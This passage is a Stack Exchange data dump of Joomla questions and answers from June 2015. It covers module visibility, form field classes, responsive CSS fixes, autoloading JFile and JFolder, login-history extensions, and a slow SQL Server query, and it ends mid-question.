  <row Id="10449" PostTypeId="1" AcceptedAnswerId="10450" CreationDate="2015-06-15T23:47:56.503" Score="2" ViewCount="474" Body="&lt;p&gt;I have multiple modules set to display on &lt;strong&gt;all pages except those selected&lt;/strong&gt;.&#xA;Most of the views in my component have a regular menu item assigned and as such I can add them to the 'BUT the selected list'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I also have a view without a menu item. Since this view is called with different parameters, I can not use the hidden menu option since the &lt;code&gt;GetMenu()-&amp;gt;GetItems('link' ...)&lt;/code&gt; function will NOT find the menu item if it end with &lt;code&gt;..&amp;amp;cid=12&lt;/code&gt; once, &lt;code&gt;&amp;amp;cid=13&lt;/code&gt; the next time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would have to create 30 or 50 hidden menu items, for each parameter .. then exclude each from the module. I would rather not do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another way to avoid loading a module in my component view?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: &#xA;I am aware I can use some code to switch to a template without the module positions in question, but since that's more of a hack I would rather not fall back to using the template switch.&lt;/p&gt;&#xA;" OwnerUserId="1950" LastEditorUserId="1629" LastEditDate="2015-06-16T02:47:57.147" LastActivityDate="2015-06-16T02:47:57.147" Title="How to avoid loading a module in a view without creating a menu item for that view" Tags="|joomla-3.x|module-display|view|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10450" PostTypeId="2" ParentId="10449" CreationDate="2015-06-16T00:55:22.037" Score="2" Body="&lt;p&gt;I'm pretty sure you can use &lt;a href=&quot;http://extensions.joomla.org/extension/advanced-module-manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;Advanced Module Manager&lt;/a&gt; for this purpose. There are many different rules you can apply to your modules in order to control when and where your modules should be displayed or hidden.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case (if I understand your question correctly), you can hide your modules for certain &lt;em&gt;components&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TLqJU.jpg&quot; alt=&quot;Hide module for component&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just select &quot;Exclude&quot;, locate your component(s) from the list and save your module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-06-16T00:55:22.037" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10452" PostTypeId="2" ParentId="10418" CreationDate="2015-06-16T06:53:43.440" Score="3" Body="&lt;p&gt;&lt;code&gt;predefinedlist&lt;/code&gt; form field is extending ordinary &lt;code&gt;list&lt;/code&gt; field. It allows to create drop downs with predefined options (as name says). Also allowing to add custom options through XML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example it's used by &lt;code&gt;status&lt;/code&gt;, &lt;code&gt;userstate&lt;/code&gt; and &lt;code&gt;useractive&lt;/code&gt; field types (also not documented). These are mainly used by Joomla! Core extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that lack of documentation for these fields is caused by extending &lt;code&gt;list&lt;/code&gt; field. In the end, these fields are ordinary &lt;code&gt;list&lt;/code&gt; fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at &lt;code&gt;status&lt;/code&gt; field &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/c41fcf023012741e230acac6acbe956f5c275c41/libraries/cms/form/field/status.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;source code&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Libraries&#xA; * @subpackage  Form&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE&#xA; */&#xA;&#xA;defined('JPATH_PLATFORM') or die;&#xA;&#xA;JFormHelper::loadFieldClass('predefinedlist');&#xA;&#xA;/**&#xA; * Form Field to load a list of states&#xA; *&#xA; * @since  3.2&#xA; */&#xA;class JFormFieldStatus extends JFormFieldPredefinedList&#xA;{&#xA;    /**&#xA;     * The form field type.&#xA;     *&#xA;     * @var    string&#xA;     * @since  3.2&#xA;     */&#xA;    public $type = 'Status';&#xA;&#xA;    /**&#xA;     * Available statuses&#xA;     *&#xA;     * @var  array&#xA;     * @since  3.2&#xA;     */&#xA;    protected $predefinedOptions = array(&#xA;        '-2' =&amp;gt; 'JTRASHED',&#xA;        '0'  =&amp;gt; 'JUNPUBLISHED',&#xA;        '1'  =&amp;gt; 'JPUBLISHED',&#xA;        '2'  =&amp;gt; 'JARCHIVED',&#xA;        '*'  =&amp;gt; 'JALL'&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, it just adds Joomla! Core statuses to protected &lt;code&gt;$predefinedOptions&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JFormFieldPredefinedList&lt;/code&gt; (&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/form/fields/predefinedlist.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;source&lt;/a&gt;) extends &lt;code&gt;JFormFieldList&lt;/code&gt; (&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/form/fields/list.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;source&lt;/a&gt;) and its only purpose is to add options without adding them through XML. These items are now added to regular &lt;code&gt;list&lt;/code&gt; field as options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In custom component it allows to add more options (statuses) if needed, avoiding possibility to remove necessary items. And of course, you can create you own custom field and extend it from &lt;code&gt;JFormFieldPredefinedList&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This XML is from Content component (com_content) articles view status filter. As said before, &lt;code&gt;status&lt;/code&gt; field extends &lt;code&gt;predefinedlist&lt;/code&gt; field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;published&quot;&#xA;    type=&quot;status&quot;&#xA;    label=&quot;COM_CONTENT_FILTER_PUBLISHED&quot;&#xA;    description=&quot;COM_CONTENT_FILTER_PUBLISHED_DESC&quot;&#xA;    onchange=&quot;this.form.submit();&quot;&#xA;    &amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;JOPTION_SELECT_PUBLISHED&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4t3Cl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It adds only one option, which is &quot;- Select Status -&quot; (first default option). All other options are predefined from &lt;code&gt;JFormFieldStatus&lt;/code&gt; class property &lt;code&gt;$predefinedOptions&lt;/code&gt;. You couldn't remove or edit them through XML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, &lt;code&gt;predefinedlist&lt;/code&gt; form field (&lt;code&gt;JFormFieldPredefinedList&lt;/code&gt; class) is used to protect some certain options, what field must definitely have. It is not intended to be used as stand-alone field.&lt;/p&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="3944" LastEditDate="2015-07-18T10:53:20.427" LastActivityDate="2015-07-18T10:53:20.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10453" PostTypeId="1" CreationDate="2015-06-16T06:57:18.027" Score="3" ViewCount="178" Body="&lt;p&gt;Does anyone know of a simple way to make the repeatable fields inline rather than popping up in a modal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just seems silly to add all this extra content and not have a simple way of seeing what you're adding unless you click one button on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would be great to tweak that code to have option to appear on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&#xA;John&lt;/p&gt;&#xA;" OwnerUserId="3842" LastEditorUserId="473" LastEditDate="2015-07-10T16:32:40.653" LastActivityDate="2015-08-21T00:38:17.277" Title="Making repetable fields inline" Tags="|form-fields-types|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10454" PostTypeId="2" ParentId="10422" CreationDate="2015-06-16T07:14:43.227" Score="0" Body="&lt;p&gt;Which place you want to display the description using this css templates/protostar/css/template.css&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.site-description &#xA;{&#xA;    margin:0 22px !important ;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5404" LastActivityDate="2015-06-16T07:14:43.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10455" PostTypeId="2" ParentId="10448" CreationDate="2015-06-16T07:33:29.597" Score="2" Body="&lt;p&gt;I can't go through your entire CSS, but it looks like your code is not optimized for responsive design. You've been using &lt;code&gt;width:960px&lt;/code&gt; in many places, and this breaks the responsive design. Use &lt;code&gt;%&lt;/code&gt; or &lt;code&gt;max-width&lt;/code&gt;. In addition, you've added your custom code &lt;em&gt;after&lt;/em&gt; the default media queries, thus overriding them with fixed widths. Moving your code above the default Protostar media queries should help a little.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some more ideas to get you going:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At line # 7021 in your &lt;code&gt;template.css&lt;/code&gt; file, you've got:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.body .container {&#xA;  width: 960px;  /* Change to max-width: 960px */&#xA;  height: 553px; /* Remove this. Why are you setting fixed height? */&#xA;  ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Line 7000:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.navigation .nav-pills {&#xA;  margin: auto;&#xA;  width: 800px; /* Remove or set to 100% */&#xA;  height: 100px; /* Remove this */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Line 7502:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.nav-pills &amp;gt; li &amp;gt; a {&#xA;  margin: 24px 20px; /* Remove this */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Line 7340:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.nav-pills &amp;gt; li {&#xA;    float: none;&#xA;    width: 100%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should fix some of your issues, but far from all of them. You have to go through your code and test each part on different screen sizes. Avoid fixed width (&lt;code&gt;px&lt;/code&gt;) if possible, and learn to use media queries. The Protostar template is responsive by default, but your CSS changes breaks this.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-06-16T07:33:29.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10456" PostTypeId="2" ParentId="10439" CreationDate="2015-06-16T07:42:40.833" Score="2" Body="&lt;p&gt;A big thank you to @Lodder (as always) for helping me with this. I don't know if my answer is the best way of acheiving the desired result but it works and that's what matters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$attribs = json_decode($this-&amp;gt;item-&amp;gt;attribs);&#xA;$addresses = $attribs-&amp;gt;addresses;&#xA;$addresses = json_decode($addresses);&#xA;foreach ($addresses as $index=&amp;gt;$addresses) &#xA;    {   &#xA;        foreach($addresses as $address){&#xA;            echo $address;&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully this will help someone else.&lt;/p&gt;&#xA;" OwnerUserId="387" LastActivityDate="2015-06-16T07:42:40.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10457" PostTypeId="1" AcceptedAnswerId="10461" CreationDate="2015-06-16T08:57:20.833" Score="4" ViewCount="4820" Body="&lt;p&gt;Back in the Joomla 1.6/1.7 days, my understanding was that when you wanted to use the filesystem API, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFolder::create(...);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You had to import the Filesystem using &lt;code&gt;jimport&lt;/code&gt;, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('joomla.filesystem.folder');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With Joomla 3.x, is this even required? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could be wrong, but I thought this was only ever required for older versions of Joomla.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2019-10-14T14:25:07.030" Title="Jimport - Is it required anymore?" Tags="|joomla-3.x|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10458" PostTypeId="2" ParentId="9173" CreationDate="2015-06-16T10:00:23.553" Score="1" Body="&lt;p&gt;&lt;strong&gt;Use of validata.js&lt;/strong&gt; file is if you want to set the extra field as required one true and you can't fill the required field and click submit that time it will call the validate.js file and display the invalid form message.&lt;/p&gt;&#xA;" OwnerUserId="5404" LastActivityDate="2015-06-16T10:00:23.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10459" PostTypeId="2" ParentId="10457" CreationDate="2015-06-16T12:03:02.627" Score="0" Body="&lt;p&gt;You still need to import it, otherwise you will get fatal error something like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Class 'JFolder' not found in ......./path on line 15&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="12352" LastEditDate="2019-06-11T21:09:13.130" LastActivityDate="2019-06-11T21:09:13.130" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="10460" PostTypeId="1" CreationDate="2015-06-16T14:02:27.663" Score="1" ViewCount="434" Body="&lt;p&gt;In my current installation of the smart search plugin with default settings  if I search for &quot;home&quot; instead of &quot;homepage&quot;, no results appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to customize Joomla's smart search plugin to show results for partial keywords? &lt;/p&gt;&#xA;" OwnerUserId="5436" LastActivityDate="2015-06-29T08:53:01.097" Title="Partial keyword search on joomla smart search?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10461" PostTypeId="2" ParentId="10457" CreationDate="2015-06-16T14:16:44.297" Score="10" Body="&lt;p&gt;Most of the classes in Joomla 3.x are autoloaded. JFolder and JFile are one of the few exceptions. The reason is because they don't follow the naming convention for the autoloader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there is a nicer way than using the jimport statements. You can tell the autoloader where to find these classes. I do this in my component entry point:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Joomla doesn't autoload JFile and JFolder&#xA;JLoader::register('JFile', JPATH_LIBRARIES . '/joomla/filesystem/file.php');&#xA;JLoader::register('JFolder', JPATH_LIBRARIES . '/joomla/filesystem/folder.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that, the classes are autoloaded just fine.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2015-06-16T14:16:44.297" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10462" PostTypeId="2" ParentId="10442" CreationDate="2015-06-16T15:11:43.100" Score="2" Body="&lt;p&gt;A common reason for plugins not working in Custom HTML modules is that they are not processed by Joomla Content plugins by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to enable this, go to the &lt;strong&gt;Options&lt;/strong&gt; tab in your Custom HTML module and set &quot;Prepare content&quot; to &lt;kbd&gt;Yes&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vx2o5.jpg&quot; alt=&quot;Prepare content settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now save your module, and the &lt;em&gt;Very helpful message&lt;/em&gt; should be displayed, enlightening your users :) &lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-06-16T15:11:43.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10463" PostTypeId="1" AcceptedAnswerId="10465" CreationDate="2015-06-16T15:16:34.667" Score="6" ViewCount="7063" Body="&lt;p&gt;This may have ben asked elsewhere however I couldn't see it on JSE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to view the user login history anywhere? I had a look through the database however couldn't find anything. Joomla 3.4.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am able to see that last login info, however it would be useful to see the same info for the last 10 (or more) logins for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found this extension &lt;a href=&quot;http://www.joomlatools.com/pricing/&quot;&gt;Logman&lt;/a&gt; which loks like it would do the trick, but was wondering if there is al alternative method of retrieving this info? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggestions welcome.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2018-11-11T11:25:33.050" Title="User Login History" Tags="|joomla-3.x|login|security|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10464" PostTypeId="2" ParentId="10463" CreationDate="2015-06-16T15:25:45.600" Score="4" Body="&lt;p&gt;Joomla only stores the last login.  You'd have to write a very simple user plugin that writes the login event somewhere, which is what that plugin seems to do.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2015-06-16T15:25:45.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10465" PostTypeId="2" ParentId="10463" CreationDate="2015-06-16T15:51:04.520" Score="8" Body="&lt;p&gt;I've personally been using &lt;a href=&quot;http://extensions.joomla.org/extension/saxum-iplogger&quot; rel=&quot;nofollow noreferrer&quot;&gt;Saxum IP logger&lt;/a&gt; for a couple of years now. It's a great (FREE) extension that provides information such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Number of logins for each user (date, IP, etc)&lt;/li&gt;&#xA;&lt;li&gt;Number of different IP addresses each user has used to login&lt;/li&gt;&#xA;&lt;li&gt;Ability to block IP's&lt;/li&gt;&#xA;&lt;li&gt;And other nice features&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The first screenshot below is a snippet of all the users that have ever logged in on your site. If you click on a username from that list, it will show you all login instances of that user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GU3ul.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Note:&lt;/em&gt;&lt;/strong&gt; County and Cities used to work but doesn't appear to be now. Odd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But either way, I'd recommend giving it a go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-06-16T15:51:04.520" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10466" PostTypeId="1" AcceptedAnswerId="10471" CreationDate="2015-06-17T02:53:42.240" Score="3" ViewCount="1054" Body="&lt;p&gt;As we can load third party component model like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Loader::import('joomla.application.component.model');&#xA;JLoader::import('modelname', JPATH_ROOT.'/components/com_componentname/models');&#xA;$model = JModelLegacy::getInstance( 'modelname', 'ComponentNameModel' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any similar way to load sub-controller of a third party component and execute a method in it?&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-06-17T12:45:56.923" Title="Load controller dynamically just like model" Tags="|controller|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10467" PostTypeId="1" AcceptedAnswerId="10474" CreationDate="2015-06-17T08:08:56.497" Score="3" ViewCount="1402" Body="&lt;p&gt;For one of my project, I'm thinking to use Stored Procedure (Of-course I will be using MySQL 5+ database). Before I get started, I'm curious if we can implement Stored Procedures at database end and then call it in our application (Most probably custom component).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know, we will surely get a portability issue. But my client is not worrying about it as they always like to keep themselves up-to-date with latest technology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is possible then, do we have helper functions in Joomla Framework to call SP (Stored Procedure). I tried to search it on internet, but looks like we do not have enough information on the same.&lt;/p&gt;&#xA;" OwnerUserId="2233" LastActivityDate="2015-06-18T14:47:03.917" Title="Stored Procedure in Joomla" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10468" PostTypeId="2" ParentId="1168" CreationDate="2015-06-17T09:31:11.247" Score="1" Body="&lt;p&gt;&lt;strong&gt;Try to insert the below code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;pagination-&amp;gt;getLimitBox(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Get the pagination values in view.html.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function display( $tpl = null )&#xA;    {&#xA;    $this-&amp;gt;pagination   = $this-&amp;gt;get('Pagination');&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5404" LastActivityDate="2015-06-17T09:31:11.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10469" PostTypeId="2" ParentId="10466" CreationDate="2015-06-17T09:36:35.623" Score="1" Body="&lt;p&gt;I could be wrong and haven't tested this, but try using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::import('joomla.application.component.controller');&#xA;JLoader::import('modelname', JPATH_ROOT . '/components/com_componentname/controllers');&#xA;$controller = JControllerLegacy::getInstance('controllername');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-06-17T12:45:56.923" LastActivityDate="2015-06-17T12:45:56.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10470" PostTypeId="2" ParentId="10466" CreationDate="2015-06-17T09:42:34.773" Score="1" Body="&lt;p&gt;&lt;strong&gt;Try this:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('Helpername', dirname(__FILE__) . DS . 'helpers' . DS . 'filename');&#xA;jimport('joomla.application.component.controller');&#xA;JLoader::import('Controllername', JPATH_ROOT . '/components/com_componentname/controllers');&#xA;$model = JControllerLegacy::getInstance('controller name');&#xA;$model-&amp;gt;execute(JFactory::getApplication()-&amp;gt;input-&amp;gt;get(&quot;task&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5404" LastEditorUserId="5404" LastEditDate="2015-06-17T12:29:37.057" LastActivityDate="2015-06-17T12:29:37.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10471" PostTypeId="2" ParentId="10466" CreationDate="2015-06-17T09:46:10.930" Score="3" Body="&lt;pre&gt;&lt;code&gt;jimport('joomla.application.component.controller');&#xA;JLoader::import('controllername', JPATH_ROOT . '/components/com_componentname/controllers');&#xA;$controller = JControllerLegacy::getInstance('controllername');&#xA;$controller-&amp;gt;execute('task');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure what you want to do, which task you want to execute, etc. But that should work as a start.&lt;/p&gt;&#xA;" OwnerUserId="5349" LastActivityDate="2015-06-17T09:46:10.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10472" PostTypeId="2" ParentId="10116" CreationDate="2015-06-17T13:04:00.597" Score="0" Body="&lt;p&gt;&lt;strong&gt;If you want to display the login module in specific page&lt;/strong&gt;&lt;br&gt;&#xA;Goto backend -&gt; Extensions -&gt; Module manager -&gt; Login form -&gt; Menu Assignment -&gt; Here you can set the login module display in specific page.&lt;/p&gt;&#xA;" OwnerUserId="5404" LastActivityDate="2015-06-17T13:04:00.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10473" PostTypeId="1" CreationDate="2015-06-17T13:59:14.880" Score="0" ViewCount="215" Body="&lt;p&gt;I am trying to upgrade my Joomla from 3.3.6 to 3.4.1. Whenever I press the update now button I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0  Cannot open file for writing log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I created a php file to output the absolute path and added /tmp and /logs to my path to temp and path to log variables.&lt;/li&gt;&#xA;&lt;li&gt;I changed the permission for the logs and tmp folders and the configuration.php file and they are now readable and writable.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;However , I am still getting this error message every time I try to update. Is there anything I need to edit further ?&lt;/p&gt;&#xA;" OwnerUserId="5429" LastActivityDate="2016-04-22T20:12:16.953" Title="Error on Joomla 3.3 update" Tags="|joomla-3.x|upgrade|update|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="10474" PostTypeId="2" ParentId="10467" CreationDate="2015-06-17T15:22:43.283" Score="3" Body="&lt;p&gt;You can just execute a CALL in a $_db-&gt;setQuery( $query );.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my experience working with stored procedures and PHP, it is not that simple.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Stored Procedures are useful to execute a bunch of statements together, with a few parameters&lt;/li&gt;&#xA;&lt;li&gt;However, parameter binding and returned results must be checked for compatibility. Example, a stored procedure can execute several queries, by only the last set of results is retrieved&lt;/li&gt;&#xA;&lt;li&gt;Some hosters restrict stored procedures and you have to ask to enable them&lt;/li&gt;&#xA;&lt;li&gt;MySQL Stored Procedures are limited, not like Oracle PL/SQL where you have advanced statements, functions, JSON processing or debugging &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To sum up, a Joomla project based on PHP and SQL queries is less complex than a 50% PHP - 50% MySQL project.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-06-17T15:22:43.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10475" PostTypeId="1" CreationDate="2015-06-18T04:14:21.603" Score="1" ViewCount="193" Body="&lt;p&gt;I have a simple query that is taking almost a minute using &lt;code&gt;JDatabase&lt;/code&gt; but takes less than a second when I use sqlsrv_connect.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $time_pre = microtime(true);&#xA;&#xA;    $conn_array = array (&#xA;        &quot;Database&quot; =&amp;gt; &quot;Test&quot;,&#xA;    );&#xA;    $conn = sqlsrv_connect('SQL01\SQL01', $conn_array);&#xA;    if ($conn) {&#xA;        $result = array();&#xA;        if (($qryresult = sqlsrv_query($conn,&quot;SELECT e.*, c.Description AS Cell FROM Edms AS e LEFT JOIN Cells AS c ON c.ID=e.Cell_ID&quot;)) !== false) {&#xA;            while( $row = sqlsrv_fetch_array($qryresult, SQLSRV_FETCH_ASSOC) ) {&#xA;                $result[] = $row;&#xA;            }&#xA;        }&#xA;    }&#xA;    else {&#xA;        die(print_r(sqlsrv_errors(), true));&#xA;    }&#xA;&#xA;    $time_post = microtime(true);&#xA;    $exec_time = $time_post - $time_pre;&#xA;    echo 'Time manual: '.$exec_time.'&amp;lt;br&amp;gt;';&#xA;    $time_pre = microtime(true);&#xA;&#xA;    $db = $this-&amp;gt;getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;    $query-&amp;gt;select('e.*, c.Description AS Cell FROM Edms AS e LEFT JOIN Cells AS c ON c.ID=e.Cell_ID');&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $result = $db-&amp;gt;loadRowList();&#xA;&#xA;    $time_post = microtime(true);&#xA;    $exec_time = $time_post - $time_pre;&#xA;    echo 'Time Joomla: '.$exec_time.'&amp;lt;br&amp;gt;';&#xA;    $time_pre = microtime(true);&#xA;&#xA;    JFactory::getApplication()-&amp;gt;close();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;output is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Time manual: 0.046799182891846&lt;br&gt;&#xA;  Time Joomla: 51.681474924088&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any ideas what's going on here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've narrowed it down to the &lt;code&gt;fetchArray()&lt;/code&gt; function that &lt;code&gt;JDatabase&lt;/code&gt; calls which calls &lt;code&gt;sqlsrv_fetch_array&lt;/code&gt; and each row of the result is taking up to 2 seconds! It seems to be 